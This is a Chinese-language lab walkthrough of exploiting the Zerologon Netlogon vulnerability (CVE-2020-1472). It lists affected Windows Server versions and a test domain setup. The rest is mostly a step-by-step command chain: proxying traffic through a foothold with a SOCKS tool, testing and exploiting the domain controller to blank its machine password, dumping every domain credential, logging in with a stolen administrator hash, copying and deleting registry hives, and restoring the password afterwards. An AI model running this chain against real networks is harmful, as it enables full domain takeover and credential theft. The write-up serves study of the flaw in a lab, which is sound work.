0x01 漏洞详情

NetLogon组件 是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

0x02 影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

0x03 域环境搭建

靶机环境:https://pan.baidu.com/s/13nU-0vsGBnGejGCKzwphfQ&shfl=sharepset     
提取码:41y6

DC  
windows server 2012
单网卡
IP: 10.10.10.10  
网关: 10.10.10.1

PC
windows 7
双网卡
IP: 10.10.10.201
网关: 10.10.10.1
IP: 172.21.139.173
网关: 172.21.139.1

WEB
windows 2008
双网卡
IP:  10.10.10.80
网关:  10.10.10.1
IP:  172.21.139.41
网关:  172.21.139.1

Mac攻击机
172.21.139.37

0x04 过程记录

  • 正向SOCKS5:将被攻击机器的流量代理到Mac攻击机中,Mac用proxychains4代理
    (拿到一个入口点,把流量代理出去)
  ew_for_Win.exe -s ssocksd -l 8888
  • 定位域控IP
  net time /domain
  ping  DC
  • 检测域控是否存在此漏洞

      ./proxychains4 python3 zerologon_tester.py DC(域控名字) 10.10.10.10(域控IP)
      返回Success,代表存在漏洞
    
  • 重置域控账户密码

    ./proxychains4 python3 cve-2020-1472-exploit.py  DC 10.10.10.10
    
  • 可进行操作1:此时域控密码为空,同等于已知密码,所以可以导出域内所有用户凭据

    proxychains4 secretsdump.py test.local/dc\$@10.10.10.10 -no-pass
    proxychains4 secretsdump.py test.local/域控名字\$@10.10.10.10 -no-pass
    
  • 可进行操作2:获取域管理员名字,导出域管的hash

    net group "domain admins"  /domain
    ./proxychains4 secretsdump.py test.local/dc\$@10.10.10.10 -no-pass -just-dc | grep 'Administrator'
    


  • 可进行操作3:已知域管hash,通过wmic 拿到域控制器中的本地管理员权限,nice~ (域管)

    ./proxychains4 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 test.local/Administrator@10.10.10.10
    
  • 恢复域控密码:已经通过wmic拿到域控本地管理员权限时,开始导出sam数据库中原来的计算机hash

    reg save HKLM\SYSTEM system.save
    reg save HKLM\SAM sam.save
    reg save HKLM\SECURITY security.save
    get system.save
    get sam.save
    get security.save
    del /f system.save
    del /f sam.save
    del /f security.save
    
    利用导出的sam数据库,提取出机器账号的明文hex
    ./proxychains4 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    
    利用提取的明文hex,进行最后的恢复操作
    ./proxychains4 python3 restorepassword.py DC@DC -target-ip 10.10.10.10 -hexpass 6b69e91c1675c3f849e7ac70f4baf81782df5336244b75c9fd08c6ab02b0ed1c434ce5bbf3d7f260f02e5b8e4e817e7fa64eb8337bac67577c902b04334816f3e329d2817d9508398b405d47a81651b444e3c7f34b6be3804ad5ff950e9dcb40008e190a8c819c75300a3dee8a3c4b5a19b488725d9234e3fe7462f84660fe02fe3d0ee63e303fed23f970369ec3b870669edc578980f0630066f5df8853c2e63dd190169861d68ff1b36a0b3d6020fa61d1bd951851a8ea74fbe63675e3d52aee12385f8405b01d4d1d4d7ed151d44d3043d13636964666d29dbe48ac74a0c33cba2c506a3f01689ba2d667b38dcc98
    


    PS: 恢复后的hash经过检查,完整恢复,和漏洞利用前的hash是一样的

0x04 坑点

  • exp运行中会因为impacket报错,重新安装此模块即可
    git clone https://github.com/SecureAuthCorp/impacket.git
    cd impacket && pip3 install .
    
  • 一些脚本是impacket模块里面的py文件
  • exp的一些参数,最好搞清楚对应域的那些东西
  • 图片很多,环境麻烦,能挤出时间真不容易。